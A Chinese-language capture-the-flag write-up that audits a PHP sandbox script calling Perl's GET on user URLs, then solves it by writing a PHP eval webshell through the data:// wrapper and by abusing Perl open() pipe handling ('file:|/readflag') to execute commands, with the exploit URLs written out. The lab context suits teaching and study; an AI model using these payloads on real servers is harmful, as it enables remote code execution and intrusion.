知识点:
1. php代码审计
2. SSRF&伪协议
3. perl语言漏洞
PHP代码审计
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
进入页面开始代码审计~
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
这段代码首先检查$_SERVER['HTTP_X_FORWARDED_FOR']是否存在,如果存在,则认为这是一个代理IP。然后,它使用explode函数将代理IP字符串(可能是由多个IP组成的,由逗号分隔)分割成数组,并取第一个IP作为$_SERVER['REMOTE_ADDR']的值。这通常用于在反向代理环境中获取原始客户端的IP地址.
echo $_SERVER["REMOTE_ADDR"];
输出客户端的ip地址.
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
这里首先根据客户端的IP地址(已经过MD5哈希处理,并附加了"orange"字符串)创建一个沙盒目录名称。然后,使用@mkdir(@用于抑制错误消息)尝试创建这个目录。如果目录成功创建,使用@chdir切换到这个目录.
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
将执行shell_exec里面的内容(用GET方法去请求url),并赋值给$data.
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
首先,通过pathinfo函数解析$_GET["filename"],获取其中的目录名和文件名.然后,它尝试创建一个新的目录(基于目录名,但移除了所有点.
),并切换到该目录。最后,使用file_put_contents函数将数据保存到文件中,文件名基于$_GET["filename"]中的基本文件名.
大概总结一下就是你要传入一个url参数和一个filename参数,url参数会被执行get请求,得到后的内容会被写入到 sandbox/md5(orange.ip)/filename 目录下.
所以我么可以将url的内容定义为 / , 之后filename就叫love吧~
http://9e8fa588-61bd-463f-982d-75d20626a6a1.node5.buuoj.cn:81/?filename=love&url=/
开始执行.
结果为.
可以清晰的看到根目录下存在一个flag的文件,但是我们GET请求只能读取目录不能读取文件内容 😅.
方法一,SSRF&伪协议
我们可以去构造一个webshell去读取flag,可以使用data伪协议来构建.
url=data://text/plain,<?php @eval($_POST[cmd]); ?>,那么filename就叫love.php吧~
http://9e8fa588-61bd-463f-982d-75d20626a6a1.node5.buuoj.cn:81/?filename=love.php&url=data://text/plain,<?php @eval($_POST[cmd]); ?>
执行成功后连接一下~
去访问一下 /flag 发现什么都没有 😅 .
不过有一个叫readflag的文件.
去执行一下~
得到了flag,我又试了试cat flag ,结果告诉我没有权限,只有root账户才能读~
方法二,perl语言漏洞
因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行.
首先我们先创建一个同名文件~
http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/?url=&filename=|/readflag
之后去执行命令~
http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/?url=file:|/readflag&filename=123
最后访问我们写入了执行结果的文件~
http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/sandbox/e51a046f7f8d8c6a6ff47114cd2cd296/123
出现flag,游戏结束~